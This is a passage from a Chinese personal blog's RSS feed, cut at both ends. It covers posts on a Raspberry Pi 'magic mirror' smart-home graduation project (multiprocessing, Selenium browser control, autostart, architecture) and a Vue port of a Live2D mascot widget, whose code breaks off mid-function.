可以看到是用了计时器进行样式调整，因为需要给原来的插件调整的时间，确定调整成功后会关闭计时器&lt;/p&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 12:38:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/74.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】多进程和进程间通信</title>
      <link>https://www.baby7blog.com/myBlog/73.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FvaymZ3S5dOaKRov9OZDH3RfsD8u" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】多进程和进程间通信&lt;/h1&gt;

&lt;h3&gt;选择多进程的原因&lt;/h3&gt;
&lt;p&gt;因为python多线程并不是并行执行，因此较适合与I/O密集型程序，多进程并行执行适用于CPU密集型程序，我们的四个模块相对更适合多进程&lt;/p&gt;
&lt;h3&gt;多进程的启动&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;#!/usr/bin/python3
from multiprocessing import Process, Queue
from lib import configurationUtil

import core.view_html.view_html as view_html
import core.face_detection.face_detection as face_detection
import core.dialogue.snowboy as snowboy
import core.sensor.sensor as sensor


def start():
    print(&amp;quot;Start to 4 process...&amp;quot;)
    try:
        # 获取用户id
        user_id = configurationUtil.get_user_id()
        # 队列
        queue = Queue()
        # 启动显示视图线程
        print(&amp;quot;Start the view html process&amp;quot;)
        p_viw_html = Process(target=view_html.viw_html, args=(queue,))
        p_viw_html.start()
        # 启动人脸识别线程
        print(&amp;quot;Start the face recognition process&amp;quot;)
        p_face_detection = Process(target=face_detection.face_detection)
        p_face_detection.start()
        # 启动语音识别线程
        print(&amp;quot;Start the speech recognition process&amp;quot;)
        p_snowboy = Process(target=snowboy.snowboy, args=(user_id, queue))
        p_snowboy.start()
        # 启动传感器线程
        print(&amp;quot;Start the sensor process&amp;quot;)
        p_sensor = Process(target=sensor.sensor, args=(user_id, queue))
        p_sensor.start()
    except Exception as e:
        print(&amp;quot;Unexpected error:&amp;quot;, e)
    while 1:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动了四个进程，分别是视图、人脸识别、智能对话和温湿度传感器
我们来看传感器进程&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# 启动传感器线程
print(&amp;quot;Start the sensor process&amp;quot;)
p_sensor = Process(target=sensor.sensor, args=(user_id, queue))
p_sensor.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sensor.sensor是函数名，user_id, queue是两个参数&lt;/p&gt;
&lt;h3&gt;进程间通信&lt;/h3&gt;
&lt;p&gt;选用队列Queue进程进行通信，我们关注queue这个参数&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from multiprocessing import Process, Queue
# 队列
queue = Queue()
...
p_viw_html = Process(target=view_html.viw_html, args=(queue,))
...
p_sensor = Process(target=sensor.sensor, args=(user_id, queue))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到queue这个参数被放到视图进程的第一个参数和传感器进程的第二个参数中&lt;/p&gt;
&lt;p&gt;在传感器进程的代码中有这样的代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;json_data = {
    &amp;quot;type&amp;quot;: &amp;quot;sensor_data&amp;quot;,
    &amp;quot;data&amp;quot;: data
}
queue.put(json_data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是发送消息，在视图进程有这样的代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;json_data = queue.get()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是接收代码，非常简单明了&lt;/p&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 12:18:43 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/73.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】selenium控制浏览器</title>
      <link>https://www.baby7blog.com/myBlog/72.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FsAln6TeH9wBLS4nscbA-KxF7JcJ" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】selenium控制浏览器&lt;/h1&gt;

&lt;h3&gt;python使用selenium打开浏览器并打开指定页面&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from selenium import webdriver
from selenium.webdriver.chrome.options import Options

executable_path = '浏览器驱动文件位置'
driver_url = '需要打开的网址'

option = Options()
# option.add_argument('disable_infobars')   # 与下面一行效果相同（去除浏览器出现的受控制提示），新版本已失效
option.add_experimental_option('excludeSwitches', ['enable-automation'])
global driver, executable_path
driver = webdriver.Chrome(options=option, executable_path=executable_path)  # 打开浏览器
driver.maximize_window()     # 最大化 
driver.get(driver_url)       # 转到指定页面
driver.fullscreen_window()   # 全屏
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行js语句对页面进行修改&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;word = '你好啊，主人'
js = 'document.getElementsByClassName(&amp;quot;title-msg&amp;quot;)[0].innerHTML =&amp;quot;' + word + '&amp;quot;'
driver.execute_script(js)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 11:55:04 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/72.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】开机自启动</title>
      <link>https://www.baby7blog.com/myBlog/71.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqRKykOFxDfQNdzhDt-PLneTFOKS" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】开机自启动&lt;/h1&gt;

&lt;h3&gt;“魔镜”的启动&lt;/h3&gt;
&lt;p&gt;魔镜正常运行的前提条件是已经运行成功Home Assistant，我写了一个sh脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;/home/pi/.local/bin/hass &amp;amp;
sleep 30
cd /home/pi/client-raspberrypi/bin/
python3 start.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一行是异步运行hass，因为hass是个系统，启动以后会一直阻塞运行，
第二行是等待30秒，hass大概十几秒可以运行起来，这里做个加长
然后第二行第三行是运行系统主程序&lt;/p&gt;
&lt;h3&gt;开机自启动&lt;/h3&gt;
&lt;p&gt;这里使用了桌面的自启动，参考&lt;a href="https://www.jianshu.com/p/86adb6d5347b"&gt;【教程】树莓派程序开机自启动方法总结&lt;/a&gt;
在/home/pi/.config/autostart/目录下新建new.desktop
内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-desktop"&gt;[Desktop Entry]
Type=Application
Name=testboot
NoDisplay=true
Exec=bash /home/pi/client-raspberrypi/start.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相当于树莓派开机后运行了这条命令:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;bash /home/pi/client-raspberrypi/start.sh
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 05:58:44 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/71.html</comments>
    </item>
    <item>
      <title>“魔镜”智能家居系统（我的毕设）</title>
      <link>https://www.baby7blog.com/myBlog/70.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqZ0qi34oEBKCFDEFSBMMfjXO7El" width="800"&gt;&lt;br&gt;
&lt;h1&gt;“魔镜”智能家居系统（我的毕设）&lt;/h1&gt;

&lt;h3&gt;目录&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;介绍&lt;/li&gt;
&lt;li&gt;大致思路&lt;/li&gt;
&lt;li&gt;系统架构&lt;/li&gt;
&lt;li&gt;结语&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;介绍&lt;/h3&gt;
&lt;p&gt;灵感来源于《白雪公主》里皇后的魔镜，然后就想给对象做一个。
如果只做对话未免有些单调，所以想增加一些功能，包括：控制智能家居、获取温湿度、显示天气信息、节假日信息、最近的新闻、基于情绪识别进行对话。&lt;/p&gt;
&lt;h3&gt;大致思路&lt;/h3&gt;
&lt;p&gt;参考MagicMirror，使用单向镜+显示屏+木框作为主体，配合其他的硬件
首先是智能对话，流程就是语音唤醒--&amp;gt;语音录制--&amp;gt;语音识别--&amp;gt;智能对话--&amp;gt;语音合成--&amp;gt;播放&lt;/p&gt;

&lt;p&gt;语音唤醒：离线语音唤醒，可以使用开源的Snowboy
语音录制：使用SpeechRcognition，自动结束录音
语音识别：使用百度的语音API
智能对话：这部分的对话处理在后端处理
语音合成：也是使用百度的语音API
播放：使用PyGame播放合成的语音&lt;/p&gt;

&lt;p&gt;之后是控制智能家居，有个开源的Home Assistant可以直接拿来用
然后是温湿度信息，这块使用DHT11这个温湿度传感器获取，传感器可以与树莓派串口进行连接，获取到温湿度信息
接下来是天气信息，中国天气网有前端插件，直接生成改改拿来用就可以
还有节假日信息和最近的新闻，这两个放在后端
最后是情绪识别，树莓派用OpenCV进行拍照判断是否有人然后进行情绪识别，情绪识别做成个服务放到云上&lt;/p&gt;
&lt;h3&gt;系统架构&lt;/h3&gt;
&lt;p&gt;系统代码分为五套
首先是树莓派端的，用python编写，包块四大模块：1.智能对话、2.情绪识别、3.环境数据、4.视图，每个模块独占一个进程
之后是后端，用SpringCloud作为架构，分为五个服务：1、服务注册发现配置、2.权限、3.网关、4.基础服务、5.环境数据
然后是情绪识别端，用python编写，接收图片识别情绪，使用PigX快速开发框架
接下来是用户显示端，就是在镜子后面显示屏显示的，基于Vue
最后是管理端，基于Vue，使用Avue框架，使用PigX快速开发框架&lt;/p&gt;
&lt;p&gt;部署包括树莓派端、后端、显示端、管理端、情绪识别服务、HBase集群这几个端&lt;/p&gt;
&lt;h3&gt;结语&lt;/h3&gt;
&lt;p&gt;由于系统过于庞大，会分为多个博客慢慢讲，先列一下需要讲哪些（智能对话包含过多可能会再次细分）：&lt;/p&gt;
&lt;p&gt;智能对话（Snowboy离线唤醒、SpeechRcognition录音、百度语音识别和合成、对话、PyGame播放）&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/5.html"&gt;OpenCV人脸检测（不贴项目代码了，用以前写的一个看看）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/75.html"&gt;基于dlib的情绪识别&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/76.html"&gt;DHT11获取和显示温湿度信息&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/88.html"&gt;MQTT发送与接收&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Phoenix、Hbase的使用&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/77.html"&gt;智能家居控制&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/74.html"&gt;天气信息的显示&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/73.html"&gt;多进程和进程间通信&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/72.html"&gt;selenium对浏览器的控制&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/71.html"&gt;开机自启动&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/myBlog/78.html"&gt;节假日信息&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.qiniu.com/kodo/sdk/1242/python"&gt;图片存储（直接看官网的用法吧，没什么说的）&lt;/a&gt;&lt;/p&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 05:23:58 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/70.html</comments>
    </item>
    <item>
      <title>vue看板娘插件-雷姆</title>
      <link>https://www.baby7blog.com/myBlog/69.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fp6sRBrDbemUzTkI5w70xNHLhhgM" width="800"&gt;&lt;br&gt;
&lt;h1&gt;vue看板娘插件-雷姆&lt;/h1&gt;

&lt;h3&gt;一、前言&lt;/h3&gt;
&lt;p&gt;博客一直没有个看板娘，内容又比较生硬，所以想加个看板娘在角落。&lt;/p&gt;
&lt;h3&gt;二、挑选&lt;/h3&gt;
&lt;p&gt;vue看板娘插件中有个比较著名的&lt;a href="https://huaji8.top/post/live2d-plugin-2.0/"&gt;live2d&lt;/a&gt;，里面有很多动漫人物，甚至还有一黑一白两只猫，但是看来看去没有我中意的看板娘。&lt;/p&gt;
&lt;p&gt;然后又去搜，找见一个博文&lt;a href="https://zhuanlan.zhihu.com/p/35351118"&gt;给自己的博客加上看板娘——Live2d蕾姆 | 雷姆&lt;/a&gt;，但是是个html版的雷姆看板娘，这就面临一个问题：移植到vue中，虽然直接可以放到index.html中，但终归不是正常路子，还是移植吧，好在以前移植过挺多html插件的。&lt;/p&gt;
&lt;h3&gt;三、移植&lt;/h3&gt;
&lt;p&gt;先放个移植后的vue吧，后面慢慢更：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;div&amp;gt;
            &amp;lt;div&amp;gt;欢迎来到七仔的博客&amp;lt;/div&amp;gt;
            &amp;lt;canvas id=&amp;quot;live2d&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;560&amp;quot; class=&amp;quot;live2d&amp;quot;&amp;gt;&amp;lt;/canvas&amp;gt;
            &amp;lt;div&amp;gt;
                &amp;lt;div&amp;gt;
                    &amp;lt;input name=&amp;quot;name&amp;quot; type=&amp;quot;text&amp;quot; class=&amp;quot;live_talk_name white_input&amp;quot; id=&amp;quot;AIuserName&amp;quot; autocomplete=&amp;quot;off&amp;quot; placeholder=&amp;quot;你的名字&amp;quot; /&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div&amp;gt;
                    &amp;lt;input name=&amp;quot;talk&amp;quot; type=&amp;quot;text&amp;quot; class=&amp;quot;live_talk_talk white_input&amp;quot; id=&amp;quot;AIuserText&amp;quot; autocomplete=&amp;quot;off&amp;quot; placeholder=&amp;quot;要和我聊什么呀？&amp;quot;/&amp;gt;
                    &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;live_talk_send_btn&amp;quot; id=&amp;quot;talk_send&amp;quot;&amp;gt;发送&amp;lt;/button&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;input name=&amp;quot;live_talk&amp;quot; id=&amp;quot;live_talk&amp;quot; value=&amp;quot;1&amp;quot; type=&amp;quot;hidden&amp;quot; /&amp;gt;
            &amp;lt;div&amp;gt;
                &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;input name=&amp;quot;live_statu_val&amp;quot; id=&amp;quot;live_statu_val&amp;quot; value=&amp;quot;0&amp;quot; type=&amp;quot;hidden&amp;quot; /&amp;gt;
                &amp;lt;audio src preload=&amp;quot;none&amp;quot;&amp;gt;&amp;lt;/audio&amp;gt;
                &amp;lt;input name=&amp;quot;live2dBGM&amp;quot; value=&amp;quot;https://media.baby7blog.com/music/jfla/ShapeOfYou.mp3&amp;quot; type=&amp;quot;hidden&amp;quot;&amp;gt;
                &amp;lt;input id=&amp;quot;duType&amp;quot; value=&amp;quot;douqilai,l2d_caihong&amp;quot; type=&amp;quot;hidden&amp;quot;&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;召唤蕾姆&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
    import &amp;quot;@/components/briannaKnickerbocker/live2d/js/live2d&amp;quot;

    export default {
        name: &amp;quot;briannaKnickerbocker&amp;quot;,
        created() {
            var message_Path = '/live2d/';//资源目录，如果目录不对请更改
            var talkAPI = &amp;quot;&amp;quot;;//如果有类似图灵机器人的聊天接口请填写接口路径
            // var home_Path = document.location.protocol +'//' + window.document.location.hostname +'/';
            var home_Path = 'https://www.baby7blog.com/';

            var userAgent = window.navigator.userAgent.toLowerCase();
            console.log(userAgent);
            var norunAI = [ &amp;quot;android&amp;quot;, &amp;quot;iphone&amp;quot;, &amp;quot;ipod&amp;quot;, &amp;quot;ipad&amp;quot;, &amp;quot;windows phone&amp;quot;, &amp;quot;mqqbrowser&amp;quot; ,&amp;quot;msie&amp;quot;,&amp;quot;trident/7.0&amp;quot;];
            var norunFlag = false;


            for(var i=0;i&amp;lt;norunAI.length;i++){
                if(userAgent.indexOf(norunAI[i]) &amp;gt; -1){
                    norunFlag = true;
                    break;
                }
            }

            if(!window.WebGLRenderingContext){
                norunFlag = true;
            }

            if(!norunFlag){
                var hitFlag = false;
                var AIFadeFlag = false;
                var liveTlakTimer = null;
                var sleepTimer_ = null;
                var AITalkFlag = false;
                var talkNum = 0;
                (function (){
                    function renderTip(template, context) {
                        var tokenReg = /(\\)?\{([^\{\}\\]+)(\\)?\}/g;
                        return template.replace(tokenReg, function (word, slash1, token, slash2) {
                            if (slash1 || slash2) {
                                return word.replace('\\', '');
                            }
                            var variables = token.replace(/\s/g, '').split('.');
                            var currentObject = context;
                            var i, length, variable;
                            for (i = 0, length = variables.length; i &amp;lt; length; ++i) {
                                variable = variables[i];
                                currentObject = currentObject[variable];
                                if (currentObject === undefined || currentObject === null) return '';
                            }
                            return currentObject;
                        });
                    }

                    String.prototype.renderTip = function (context) {
                        return renderTip(this, context);
                    };

                    var re = /x/;
                    re.toString = function() {
                        showMessage('哈哈，你打开了控制台，是想要看看我的秘密吗？', 5000);
                        return '';
                    };

                    $(document).on('copy', function (){
                        showMessage('你都复制了些什么呀，转载要记得加上出处哦~~', 5000);
                    });

                    function initTips(){
                        $.ajax({
                            cache: true,
                            url: message_Path+'message.json',
                            dataType: &amp;quot;json&amp;quot;,
                            success: function (result){
                                $.each(result.mouseover, function (index, tips){
                                    $(tips.selector).mouseover(function (){
                                        var text = tips.text;
                                        if(Array.isArray(tips.text)) text = tips.text[Math.floor(Math.random() * tips.text.length + 1)-1];
                                        text = text.renderTip({text: $(this).text()});
                                        showMessage(text, 3000);
                                        talkValTimer();
                                        clearInterval(liveTlakTimer);
                                        liveTlakTimer = null;
                                    });
                                    $(tips.selector).mouseout(function (){
                                        showHitokoto();
                                        if(liveTlakTimer == null){
                                            liveTlakTimer = window.setInterval(function(){
                                                showHitokoto();
                                            },15000);
                                        };
                                    });
                                });
                                $.each(result.click, function (index, tips){
                                    $(tips.selector).click(function (){
                                        if(hitFlag){
                                            return false
                                        }
                                        hitFlag = true;
                                        setTimeout(function(){
                                            hitFlag = false;
                                        },8000);
                                        var text = tips.text;
                                        if(Array.isArray(tips.text)) text = tips.text[Math.floor(Math.random() * tips.text.length + 1)-1];
                                        text = text.renderTip({text: $(this).text()});
                                        showMessage(text, 3000);
                                    });
                                    clearInterval(liveTlakTimer);
                                    liveTlakTimer = null;
                                    if(liveTlakTimer == null){
                                        liveTlakTimer = window.setInterval(function(){
                                            showHitokoto();
                                        },15000);
                                    };
                                });
                            }
                        });
                    }
                    initTips();

                    var text;
                    if(document.referrer !== ''){
                        var referrer = document.createElement('a');
                        referrer.href = document.referrer;
                        text = '嗨！来自 &amp;lt;span&amp;gt;' + referrer.hostname + '&amp;lt;/span&amp;gt; 的朋友！';
                        var domain = referrer.hostname.split('.')[1];
                        if (domain == 'baidu') {
                            text = '嗨！ 来自 百度搜索 的朋友！&amp;lt;br&amp;gt;欢迎访问&amp;lt;span&amp;gt;「 ' + document.title.split(' - ')[0] + ' 」&amp;lt;/span&amp;gt;';
                        }else if (domain == 'so') {
                            text = '嗨！ 来自 360搜索 的朋友！&amp;lt;br&amp;gt;欢迎访问&amp;lt;span&amp;gt;「 ' + document.title.split(' - ')[0] + ' 」&amp;lt;/span&amp;gt;';
                        }else if (domain == 'google') {
                            text = '嗨！ 来自 谷歌搜索 的朋友！&amp;lt;br&amp;gt;欢迎访问&amp;lt;span&amp;gt;「 ' + document.title.split(' - ')[0] + ' 」&amp;lt;/span&amp;gt;';
                        }
                    }else {
                        if (window.location.href == home_Path) { //主页URL判断，需要斜杠结尾
                            var now = (new Date()).getHours();
                            if (now &amp;gt; 23 || now &amp;lt;= 5) {
                                text = '你是夜猫子呀？这么晚还不睡觉，明天起的来嘛？';
                            } else if (now &amp;gt; 5 &amp;amp;&amp;amp; now &amp;lt;= 7) {
                                text = '早上好！一日之计在于晨，美好的一天就要开始了！';
                            } else if (now &amp;gt; 7 &amp;amp;&amp;amp; now &amp;lt;= 11) {
                                text = '上午好！工作顺利嘛，不要久坐，多起来走动走动哦！';
                            } else if (now &amp;gt; 11 &amp;amp;&amp;amp; now &amp;lt;= 14) {
                                text = '中午了，工作了一个上午，现在是午餐时间！';
                            } else if (now &amp;gt; 14 &amp;amp;&amp;amp; now &amp;lt;= 17) {
                                text = '午后很容易犯困呢，今天的运动目标完成了吗？';
                            } else if (now &amp;gt; 17 &amp;amp;&amp;amp; now &amp;lt;= 19) {
                                text = '傍晚了！窗外夕阳的景色很美丽呢，最美不过夕阳红~~';
                            } else if (now &amp;gt; 19 &amp;amp;&amp;amp; now &amp;lt;= 21) {
                                text = '晚上好，今天过得怎么样？';
                            } else if (now &amp;gt; 21 &amp;amp;&amp;amp; now &amp;lt;= 23) {
                                text = '已经这么晚了呀，早点休息吧，晚安~~';
                            } else {
                                text = '嗨~ 快来逗我玩吧！';
                            }
                        }else {
                            text = '欢迎阅读&amp;lt;span&amp;gt;「 ' + document.title.split(' - ')[0] + ' 」&amp;lt;/span&amp;gt;';
                        }
                    }
                    showMessage(text, 12000);
                })();

                liveTlakTimer = setInterval(function(){
                    showHitokoto();
                },15000);

                function showHitokoto(){
                    if(sessionStorage.getItem(&amp;quot;Sleepy&amp;quot;)!==&amp;quot;1&amp;quot;){
                        if(!AITalkFlag){
                            $.getJSON('https://v1.hitokoto.cn/',function(result){
                                talkValTimer();
                                showMessage(result.hitokoto, 0);
                            });
                        }
                    }else{
                        hideMessage(0);
                        if(sleepTimer_==null){
                            sleepTimer_ = setInterval(function(){
                                checkSleep();
                            },200);
                        }
                        console.log(sleepTimer_);
                    }
                }

                function checkSleep(){
                    var sleepStatu = sessionStorage.getItem(&amp;quot;Sleepy&amp;quot;);
                    if(sleepStatu!=='1'){
                        talkValTimer();
                        showMessage('你回来啦~', 0);
                        clearInterval(sleepTimer_);
                        sleepTimer_= null;
                    }
                }

                function showMessage(text, timeout){
                    if(Array.isArray(text)) text = text[Math.floor(Math.random() * text.length + 1)-1];
                    //console.log('showMessage', text);
                    $('.message').stop();
                    $('.message').html(text);
                    $('.message').fadeTo(200, 1);
                    //if (timeout === null) timeout = 5000;
                    //hideMessage(timeout);
                }
                function talkValTimer(){
                    $('#live_talk').val('1');
                }

                function hideMessage(timeout){
                    //$('.message').stop().css('opacity',1);
                    if (timeout === null) timeout = 5000;
                    $('.message').delay(timeout).fadeTo(200, 0);
                }

                function initLive2d (){
                    $('#hideButton').on('click', function(){
                        if(AIFadeFlag){
                            return false;
                        }else{
                            AIFadeFlag = true;
                            localStorage.setItem(&amp;quot;live2dhidden&amp;quot;, &amp;quot;0&amp;quot;);
                            $('#landlord').fadeOut(200);
                            $('#open_live2d').delay(200).fadeIn(200);
                            setTimeout(function(){
                                AIFadeFlag = false;
                            },300);
                        }
                    });
                    $('#open_live2d').on('click', function(){
                        if(AIFadeFlag){
                            return false;
                        }else{
                            AIFadeFlag = true;
                            localStorage.setItem(&amp;quot;live2dhidden&amp;quot;, &amp;quot;1&amp;quot;);
                            $('#open_live2d').fadeOut(200);
                            $('#landlord').delay(200).fadeIn(200);
                            setTimeout(function(){
                                AIFadeFlag = false;
                            },300);
                        }
                    });
                    $('#youduButton').on('click',function(){
                        if($('#youduButton').hasClass('doudong')){
                            var typeIs = $('#youduButton').attr('data-type');
                            $('#youduButton').removeClass('doudong');
                            $('body').removeClass(typeIs);
                            $('#youduButton').attr('data-type','');
                        }else{
                            var duType = $('#duType').val();
                            var duArr = duType.split(&amp;quot;,&amp;quot;);
                            var dataType = duArr[Math.floor(Math.random() * duArr.length)];

                            $('#youduButton').addClass('doudong');
                            $('#youduButton').attr('data-type',dataType);
                            $('body').addClass(dataType);
                        }
                    });
                    if(talkAPI!==&amp;quot;&amp;quot;){
                        $('#showInfoBtn').on('click',function(){
                            var live_statu = $('#live_statu_val').val();
                            if(live_statu==&amp;quot;0&amp;quot;){
                                return
                            }else{
                                $('#live_statu_val').val(&amp;quot;0&amp;quot;);
                                $('.live_talk_input_body').fadeOut(500);
                                AITalkFlag = false;
                                showHitokoto();
                                $('#showTalkBtn').show();
                                $('#showInfoBtn').hide();
                            }
                        });
                        $('#showTalkBtn').on('click',function(){
                            var live_statu = $('#live_statu_val').val();
                            if(live_statu==&amp;quot;1&amp;quot;){
                                return
                            }else{
                                $('#live_statu_val').val(&amp;quot;1&amp;quot;);
                                $('.live_talk_input_body').fadeIn(500);
                                AITalkFlag = true;
                                $('#showTalkBtn').hide();
                                $('#showInfoBtn').show();

                            }
                        });
                        $('#talk_send').on('click',function(){
                            var info_ = $('#AIuserText').val();
                            var userid_ = $('#AIuserName').val();
                            if(info_ == &amp;quot;&amp;quot; ){
                                showMessage('写点什么吧！',0);
                                return;
                            }
                            if(userid_ == &amp;quot;&amp;quot;){
                                showMessage('聊之前请告诉我你的名字吧！',0);
                                return;
                            }
                            showMessage('思考中~', 0);
                            $.ajax({
                                type: 'POST',
                                url: talkAPI,
                                data: {
                                    &amp;quot;info&amp;quot;:info_,
                                    &amp;quot;userid&amp;quot;:userid_
                                },
                                success: function(res) {
                                    if(res.code !== 100000){
                                        talkValTimer();
                                        showMessage('似乎有什么错误，请和站长联系！',0);
                                    }else{
                                        talkValTimer();
                                        showMessage(res.text,0);
                                    }
                                    console.log(res);
                                    $('#AIuserText').val(&amp;quot;&amp;quot;);
                                    sessionStorage.setItem(&amp;quot;live2duser&amp;quot;, userid_);
                                }
                            });
                        });
                    }else{
                        $('#showInfoBtn').hide();
                        $('#showTalkBtn').hide();

                    }
                    //获取音乐信息初始化
                    var bgmListInfo = $('input[name=live2dBGM]');
                    if(bgmListInfo.length == 0){
                        $('#musicButton').hide();
                    }else{
                        var bgmPlayNow = parseInt($('#live2d_bgm').attr('data-bgm'));
                        var bgmPlayTime = 0;
                        var live2dBGM_Num = sessionStorage.getItem(&amp;quot;live2dBGM_Num&amp;quot;);
                        var live2dBGM_PlayTime = sessionStorage.getItem(&amp;quot;live2dBGM_PlayTime&amp;quot;);
                        if(live2dBGM_Num){
                            if(live2dBGM_Num&amp;lt;=$('input[name=live2dBGM]').length-1){
                                bgmPlayNow = parseInt(live2dBGM_Num);
                            }
                        }
                        if(live2dBGM_PlayTime){
                            bgmPlayTime = parseInt(live2dBGM_PlayTime);
                        }
                        var live2dBGMSrc = bgmListInfo.eq(bgmPlayNow).val();
                        $('#live2d_bgm').attr('data-bgm',bgmPlayNow);
                        $('#live2d_bgm').attr('src',live2dBGMSrc);
                        $('#live2d_bgm')[0].currentTime = bgmPlayTime;
                        $('#live2d_bgm')[0].volume = 0.5;
                        var live2dBGM_IsPlay = sessionStorage.getItem(&amp;quot;live2dBGM_IsPlay&amp;quot;);
                        var live2dBGM_WindowClose = sessionStorage.getItem(&amp;quot;live2dBGM_WindowClose&amp;quot;);
                        if(live2dBGM_IsPlay == '0' &amp;amp;&amp;amp; live2dBGM_WindowClose == '0'){
                            $('#live2d_bgm')[0].play();
                            $('#musicButton').addClass('play');
                        }
                        sessionStorage.setItem(&amp;quot;live2dBGM_WindowClose&amp;quot; , '1');
                        $('#musicButton').on('click',function(){
                            if($('#musicButton').hasClass('play')){
                                $('#live2d_bgm')[0].pause();
                                $('#musicButton').removeClass('play');
                                sessionStorage.setItem(&amp;quot;live2dBGM_IsPlay&amp;quot;,'1');
                            }else{
                                $('#live2d_bgm')[0].play();
                                $('#musicButton').addClass('play');
                                sessionStorage.setItem(&amp;quot;live2dBGM_IsPlay&amp;quot;,'0');
                            }
                        });
                        window.onbeforeunload = function(){
                            sessionStorage.setItem(&amp;quot;live2dBGM_WindowClose&amp;quot; , '0');
                            if($('#musicButton').hasClass('play')){
                                sessionStorage.setItem(&amp;quot;live2dBGM_IsPlay&amp;quot;,'0');
                            }
                        }
                        document.getElementById('live2d_bgm').addEventListener(&amp;quot;timeupdate&amp;quot;, function(){
                            var live2dBgmPlayTimeNow = document.getElementById('live2d_bgm').currentTime;
                            sessionStorage.setItem(&amp;quot;live2dBGM_PlayTime&amp;quot; , live2dBgmPlayTimeNow );
                        });
                        document.getElementById('live2d_bgm').addEventListener(&amp;quot;ended&amp;quot;, function(){
                            var listNow = parseInt($('#live2d_bgm').attr('data-bgm'));
                            listNow ++ ;
                            if(listNow &amp;gt; $('input[name=live2dBGM]').length-1){
                                listNow = 0;
                            }
                            var listNewSrc = $('input[name=live2dBGM]').eq(listNow).val();
                            sessionStorage.setItem(&amp;quot;live2dBGM_Num&amp;quot;,listNow);
                            $('#live2d_bgm').attr('src',listNewSrc);
                            $('#live2d_bgm')[0].play();
